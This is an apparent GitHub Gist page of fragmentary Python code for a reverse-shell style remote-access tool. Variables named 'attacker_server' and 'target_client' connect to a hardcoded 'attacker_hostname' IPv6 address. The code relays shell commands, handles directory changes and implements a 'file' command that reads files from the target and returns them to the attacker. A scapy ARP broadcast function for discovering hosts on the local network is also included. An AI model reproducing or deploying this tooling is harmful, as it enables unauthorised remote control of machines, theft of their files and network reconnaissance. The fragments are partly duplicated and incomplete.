Skip to content

Instantly share code, notes, and snippets.

View NimishMishra's full-sized avatar

NimishMishra

View GitHub Profile
def command_handler(target_client):
data = str(input())
send_data(data, target_client)
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
def navigate_directory(command):
destination_directory_path = command[command.index("cd") + 3:]
print(destination_directory_path)
os.chdir(destination_directory_path)
def command_handler(target_client):
data = str(input())
try:
data.index('file')
file_handler(target_client, data)
return
except:
pass
send_data(data, target_client)
def file_handler(target_client, command):
target_client.send(bytes(command, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
pass
data_splits = command.split(' ')
mode = data_splits[2]
if(mode == 'r'):
receive_data(target_client)
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
def file_handler(command):
command_splits = command.split(" ")
if(len(command_splits) > 3):
return "file command has more than two arguments."
elif(command_splits[0] != 'file'):
return "incorrect command"
file_name = command_splits[1]
mode = command_splits[2]
import socket
BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
attacker_server.bind((hostname, port_number))
attacker_server.listen(5)
target_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
.
.
.
attacker_hostname = "2405:204:a38a:708d:4dfd:c0ac:2ba2:3a06"
attacker_port = 12345
from scapy.all import *
response = ""
def discovery(dst, time):
global response
ethernet_layer = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_layer = ARP(pdst= dst)
ans, unans = srp(ethernet_layer/arp_layer, timeout=int(time))
for sent, received in ans:
response = response + received[ARP].psrc + " "